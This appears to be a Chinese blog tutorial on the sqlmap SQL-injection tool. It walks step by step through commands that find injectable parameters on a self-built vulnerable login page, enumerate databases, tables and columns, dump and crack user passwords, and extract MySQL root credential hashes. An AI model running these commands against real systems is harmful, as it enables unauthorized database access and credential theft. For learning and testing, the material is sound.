1. 程式人生 > >滲透測試工具之sqlmap

滲透測試工具之sqlmap

otto oot use 如果 idt pla tle 訪問權限 都是

1. sqlmap是什麽

在這個數據有價的時代數據庫安全已經成為了重中之重,於是就整理了一下最常用的一款(反正我上大學的時候它還是蠻流行的...)數據庫安全方面的滲透測試工具sqlmap的使用筆記。

sqlmap是一個自動化的sql註入滲透工具,指紋檢測、註入方式、註入成功後的取數據等等都是自動化的,甚至還提供了一個字典來將取回來的hash爆破,當然對於真實環境中這爆破功能戰鬥力基本為0....

sqlmap是使用python寫的,因此具有跨平臺的特性,並且下載下來解壓就可以使用啦,因此下載安裝部分不再介紹。

2. 如何使用

模擬一個真實的場景,我寫了一個有sql註入漏洞的登錄接口作為測試用來練習sqlmap的使用,就拿它開刀來取得一個合法的登錄口令。

step 1. 檢測註入點

首先檢測參數是否可註入:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar"

需要註意的是上面的url一定要用引號括起來不然會報錯的。

按照提示一步一步選擇即可,如果覺得選項太多太麻煩可以使用--batch來讓程序自己個選擇:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch

如果可以註入的話,結果應該是類似於這個樣子的:

技術分享

上面的意思就是發現了兩個註入點,這兩個註入點就是傳入的username和passwd參數。

step 2. 取數據

當手中有了註入點的時候,就相當於是有了這個數據庫的訪問權,接下來把需要的數據取回來即可。

想象一下登錄口令一定存放在某張表下,可是我連這臺機器上都有哪些數據庫都不知道該怎麽辦呢,--dbs查看數據庫:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch --dbs

我自己機器數據庫有些不可描述的庫,我打了下碼,大致就是這個樣子吧:

技術分享

我是能看到有哪些數據庫了,但這有毛線用啊,我想知道的是這個應用程序當前使用的數據庫是哪個啊,使用 --current-db:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch --current-db

技術分享

啊我看到了當前的數據庫是sql_innect_demo,我要趕緊知道這個庫下面都有哪些表:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo --tables

技術分享

啊,可惡,忘了多做幾張混淆視聽的表了,在實際環境中一般都會有百八十張表差不多的,但是存儲用戶的一般腦回路正常的都會跟user這個詞沾邊的,所以確定到底是哪個表是用戶表難度還是蠻低的,好了這一關權當放水通過了,接下來我要看這張表中都有哪些字段,因為我需要用戶名和密碼這兩個列的數據,但是首先我得知道存儲這兩個字段的列名字:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo -T t_user --columns

技術分享

呃,好吧,這個表的結構過於簡單,又算是放水了,不過一般存儲用戶名的列都會叫user、username、name之類的,存儲密碼列的都會跟passwd、password、auth之類的沾邊的,如果不確定的話就多取幾列也沒關系的,現在已經確定了字段的名字了,把它拿回來:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D sql_inject_demo -T t_user -C ‘username, passwd‘ --dump

這個過程可能會稍微有點慢,因為使用了--batch讓sqlmap對一些詢問的選項自己看著辦,其中有一個檢測到hash詢問是否字典爆破的這貨默認給爆破了,所以可能需要等上好一陣子才能看到結果:

技術分享

哈,這個時候我們已經得到了想要的東西,一個訪問口令,GET!它就是 admin / admin。

因為我這裏設置的是弱口令,所以很快就跑出來了,如果密碼復雜度很高的話可能需要保存下來另外使用專門的爆破工具來搞一搞。

這裏有個坑,我開始寫的時候密碼習慣性的加了鹽,然後就跑不出來了,後來註釋掉了,至於加了鹽的密碼該怎麽搞我也布吉島....

作為一個有野心的腳本小子,怎麽能滿足於只get一個web訪問口令呢,我們都知道mysql的元數據什麽的都是存儲在它的一個叫mysql的庫中,包括訪問系統的口令,所以這個時候可以如法炮制,獲得數據庫的訪問口令:

./sqlmap.py -u "http://192.168.3.64:8080/user/login?username=foo&passwd=bar" --batch -D mysql -T user -C ‘user, authentication_string‘ --dump

技術分享

哈,這麽簡單就得到了mysql的root訪問權限....

當然實際環境中不會這麽順利啦,這裏只是作為一個演示而已。

關於sqlmap的更多選項使用,請查閱官方文檔: https://github.com/sqlmapproject/sqlmap/wiki/Usage

參考資料:

1. http://sqlmap.org/

2. https://github.com/sqlmapproject/sqlmap/wiki/Usage

滲透測試工具之sqlmap